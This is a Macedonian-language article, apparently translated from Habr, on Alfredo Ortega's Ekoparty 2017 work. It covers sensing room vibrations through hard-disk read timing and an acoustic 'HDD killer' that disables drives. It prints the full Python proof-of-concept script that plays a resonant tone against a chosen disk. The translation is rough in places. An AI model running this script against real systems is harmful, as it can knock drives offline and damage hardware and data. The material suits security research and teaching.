На конференцијата за компјутерска безбедност Ekoparty 2017 во Буенос Аирес, аргентинскиот хакер Алфредо Ортега покажа многу интересен развој - систем за тајно прислушување на простории без користење на микрофон. Звук снимен директно на хард дискот!

HDD главно прима звуци со ниска фреквенција со висок интензитет, чекори и други вибрации. Човечкиот говор сè уште не може да се препознае, иако научниците спроведуваат истражувања во оваа насока (препознавање на говор со вибрации со ниска фреквенција, кои се снимаат, на пример, од жироскоп или HDD).

Звукот е вибрација на воздухот или друг медиум. Едно лице ги перцепира преку тапанчето, кое ги пренесува вибрациите до внатрешното уво. Микрофонот е дизајниран приближно како уво - и овде вибрациите се снимаат со тенка мембрана, која возбудува електричен импулс. Хард дискот, се разбира, исто така е подложен на микроскопски вибрации поради флуктуации на околниот воздух. Ова е познато дури и од техничките карактеристики на HDD-а: производителите обично укажуваат на максимално дозволеното ниво на вибрации, а самиот хард диск често се обидува да го стави во контејнер отпорен на вибрации направен од гума или друг изолационен материјал. Од ова лесно може да се заклучи дека звуците може да се снимаат со помош на HDD. Останува само да дознаеме како.

Алфредо Ортега предложи уникатна верзија на напад од страничен канал, имено временски напад. Овој напад се заснова на претпоставката дека различни операции се вршат на уредот во различно време, во зависност од дадените влезни податоци. Во овој случај, „влезни податоци“ се вибрациите на главата за читање и плочата за HDD, кои се во корелација со вибрациите на околината, односно со звукот. Така, со мерење на времето на пресметување и извршување на статистичка анализа на податоците, може да се измерат вибрациите на главата/послужавникот, а со тоа и вибрациите на медиумот. Колку подолго доцнењето во читањето податоци, толку посилни се вибрациите на HDD и, според тоа, звукот е погласен.

Како да се измери вибрациите на хард дискот? Многу едноставно: само извршете го системскиот повик read () — и запишете го времето потребно за да се заврши. Современите оперативни системи ви овозможуваат да го читате времето на системските повици со точност од наносекунда.

Брзината на читање информации од сектор зависи од положбата на главата и послужавникот, што е во корелација со вибрациите на куќиштето на HDD. Тоа е се.

Статистичката анализа се врши со користење на едноставна алатка Kscope. Како што велат, сè генијално е едноставно.

Kscope алатка (stat() syscall)

Kscope е мала алатка за визуелизација на мали разлики во времето на извршување на системските повици. Изворобјавено на GitHub.

Во посебно складиште HDD-време постои верзија на алатката конфигурирана за временски напад на хард дискот, односно конфигурирана да го анализира системскиот повик read ().

Демонстрација на снимање звук со помош на HDD, работа на алатката Kscope

Се разбира, говорот не може да се разбере на овој начин, но HDD е сосема погоден како сензор за вибрации. На пример, можете да се регистрирате ако лице кое носи тврди чевли или бос влегло во просторија со компјутер (веројатно, ако напаѓачот носи меки патики или има дебел тепих на подот, HDD нема да може да регистрира вибрации - ова вреди да се провери). Компјутерот може да регистрира скршено стакло или други инциденти со силен интензитет на звук. Односно, хард дискот може да послужи како еден вид неовластен систем за откривање на упад.

Убиец на HDD

Патем, слична техника може да се користи за оневозможување на хард дискови. Само овде не ги отстрануваме осцилациите од HDD, туку напротив, генерираме осцилации кои се напојуваат на HDD. Ако репродуцирате звук од звучник на фреквенција што резонира со фреквенцијата на HDD, системот наскоро го исклучува уредот со I/O грешка (кернелот на Linux целосно го исклучува HDD по 120 секунди). Самиот хард диск може да претрпи неповратно оштетување.

Јадрото на Linux го исклучи хард дискот по 120 секунди испорачување звук со резонантна фреквенција преку звучникот на звучникот Edifier r19u USB. Звучникот е вклучен со околу една четвртина од моќноста (помалку од 100 mW) и се наоѓа на 20 cm од HDD, насочен кон масата за да ги подобри вибрациите. Рамка од Видео со демонстрација на убиецот на HDD

Интересно е што таквите „напади“ на HDD понекогаш се случуваат сосема случајно во секојдневниот живот. На пример, во септември 2016 година, центарот за податоци на ING Bank беше принуден да ја прекине работата на 10 часа по пожарна вежба. Десетици хард дискови не успеаја поради силниот звук на инертен гас кој се ослободува од цилиндрите под висок притисок. Звукот беше многу гласен (повеќе од 130 dB), но не можете ни да викате на хард дисковите - ова го зголемува доцнењето при пристапот до HDD.

Демонстрација на човечко врескање на хард дискови во центарот за податоци. Мерење на латентност

За да генерира резонантен звук, Алфредо Ортега напишал скрипта за Пајтон наречена HDD-убиец (видео демонстрација).

Скрипта за убиец на HDD Тоа е прилично мало, па можете да го објавите во целост овде.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Извор: www.habr.com